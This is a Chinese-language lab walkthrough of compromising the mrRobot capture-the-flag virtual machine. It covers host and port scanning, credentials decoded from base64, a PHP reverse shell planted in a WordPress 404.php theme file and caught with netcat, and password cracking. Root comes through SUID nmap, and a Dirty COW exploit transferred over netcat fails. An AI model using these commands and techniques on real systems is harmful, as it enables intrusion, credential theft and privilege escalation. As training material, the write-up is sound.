2.100个渗透测试实战#2(mrRobot)
目录
1.查看kali的网卡和IP信息(网卡名:eth0;IP:192.168.97.129);
3.探测主机的存活状态(netdiscover、arp-scan、nmap);
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;
(四)渗透测试——登录后台页面,结合404.php,上传kali的php-reverse-shell.php文件,从而反弹shell
1.登录后台,编辑404.php,kali侦听,访问404.php,反弹Shell;
2.转换为交互式shell,也就是一问一答式的完整的shell;
(五)利用反弹后的shell,开始致命连问,再一次信息收集,从而本地提权
1.WordPress的后台页面,可以自定义模板主题,从而写入可反弹的shell的php代码;
一、实验环境
- 靶机:mrRobot,IP地址:192.168.97.158
- 测试机:kali,IP地址:192.168.97.129
- 测试机:物理机Win10
二、实验流程
- 信息收集——主机发现阶段
- 信息收集——端口(服务)扫描阶段
- 渗透测试——80端口
- 渗透测试——反弹shell
- 渗透测试——本地提权
- 删除痕迹,留下后门
三、实验步骤
(一)信息后随即——主机发现
1.查看kali的网卡和IP信息(网卡名:eth0;IP:192.168.97.129);
2.查看靶机页面;
3.探测主机的存活状态(netdiscover、arp-scan、nmap);
- netdiscover -i eth0 -r 192.168.97.0/24
- arp-scan -l
- nmap -sP 192.168.97.0/24
4.分析所得:
- 探测到一个可用的存活靶机,也就是IP地址为192.168.97.158的,名为mrRobot的主机
(二)信息收集——端口(服务)扫描
1.扫描端口,以及端口对应的服务信息,以及靶机的操作系统信息;
- nmap -p- -sV -O -A 192.168.97.158
2.分析所得:
- 22端口处于关闭状态,且没有ssh的服务
- 80端口处于开启状态,且有http服务
- 443端口处于开启状态,且有http服务
(三)渗透测试——80端口(http服务)
1.对靶机的网站进行目录遍历;
- dirb http://192.168.97.158 /usr/share/dirb/wordlists/big.txt
- 遇见扫描
2.在扫描漏洞的同时,火狐浏览器访问主页;
- 浏览器访问:http://192.168.97.158
主页信息如下图所示:这是给我们一个shell,我们可以根据这个shell收集到一些信息;比如:这个只是一个美剧《黑客军团》的背景介绍罢了(自己搜了一下,挺好看的,男主叫elliot,埃利奥特)
百度百科——黑客军团
- 使用Web指纹识别插件,Wapplayzer识别该网站的详细信息
- 使用kali的whatweb命令来识别网站信息,whatweb http://192.168.97.158
3.尝试访问,robots.txt文件;
- 浏览器访问:http://192.168.97.158/robots.txt
如下图所示,我们得到了一个字典,和第一个key值;
- 访问字典,保存下来即可
- 访问key值
4.逐个访问以上扫描出来的结果;
- http://192.168.97.158/readme.html
如下图所示,提示说:我非常高兴你来到了这里,但是呢,我没能帮到你。。。。。
- http://192.168.97.158/license.txt
如下图所示,提示说:你什么时候成为了一个脚本小子,你可以从Rapid9或着[email protected]#%得到代码;
f12查看元素,果然发现了一串base64编码的字符序列:ZWxsaW90OkVSMjgtMDY1Mgo=
解码该代码得到:elliot:ER28-0652
-
http://192.168.97.158/0
如下图所示,我们发现网站CMS为wordpress;可以跳转到login页面
-
其余的一些访问,一种是疯狂刷新,一种是跳转到user's log页面等等
5.分析所得:
- 一个用户,elliot:ER28-0652
- 一个后台登录页面,elliot:ER28-0652
- 该网站的CMS是:WordPress
- 注意:WordPress搭建的页面,可以自定义一些主题页面,比如404.php,我们可以往该页面内写入shell的php脚本,再浏览器访问该页面,从而获得一个shell
(四)渗透测试——登录后台页面,结合404.php,上传kali的php-reverse-shell.php文件,从而反弹shell
1.登录后台,编辑404.php,kali侦听,访问404.php,反弹Shell;
- 登录后台,点击404.php的编辑
- 从kali的/usr/share/webshells/php/php-reverse-shell.php内复制下来,粘贴到404.php内;再修改IP地址和端口;再点击update file
- kali开启侦听:nc -nvlp 8443
- 浏览器访问:404.php页面;注意404.php的存放位置:http://192.168.97.158/wp-content/themes/twentyfifteen/404.php
- kali成功反弹到了Shell
2.转换为交互式shell,也就是一问一答式的完整的shell;
- python -c 'import pty;pty.spawn("/bin/bash")'
(五)利用反弹后的shell,开始致命连问,再一次信息收集,从而本地提权
1.致命连问;
- id
- whoami
- pwd
- ls
- cat /etc/passwd
- ls -l /home
- cd /home/robot
- ls -l
如下图所示,我们得到了一个key值,但是其他人没有读权限;但是给了一个我们其他人可读的md5加密字符串,该字符串是robot用户的密码
- MD5解密得:abcdefghijklmnopqrstuvwxyz
2.su切换用robot,访问key值,继续致命连问;
- su robot
abcdefghijklmnopqrstuvwxyz
- history
无可用信息
- ls -la
无可用信息
- sudo -l
没有运行sudo
3.尝试suid提权;
- find / -perm -u=s 2>/dev/null
如下图所示,发现了nmap;该命令可以进入交互式的shell
- ls -l /usr/local/bin/nmap
如下图所示,被root赋予了s权限,也就是可以利用namp特性开启root的shell了
- nmap --interactive进入后,输入!sh即可
- 切换到root的家目录,查看最终的key值
4.尝试内核提权(脏牛exp);
- 靶机上查看内核版本和发行版本
- kali上查找脏牛exp,拷贝下来,nc传输到靶机
如下图所示,前三个比较像,后两个是关于snapd的版本问题的exp,这里的靶机没有snapd
- kali:searchsploit -m 40616.c
把该exp复制到当前目录
- kali:nc -lp 1234 <40616.c
- shell:cd /tmp
- shell:nc -nv 192.168.97.129 1234 > 40616.c
- shell:gcc -o 40616 40616.c -pthred
- ./40616
如下图所示,提权失败,其他的exp也不行
(六)、清楚痕迹,留下后门
四、实验总结
1.WordPress的后台页面,可以自定义模板主题,从而写入可反弹的shell的php代码;
2.kali的/usr/share/webshells/php/php-reverse-shell.php,该脚本执行后,会主动向设置好的IP和端口发送Shell窗口;
3.suid的namp提权法:
-
namp --interactive
-
!sh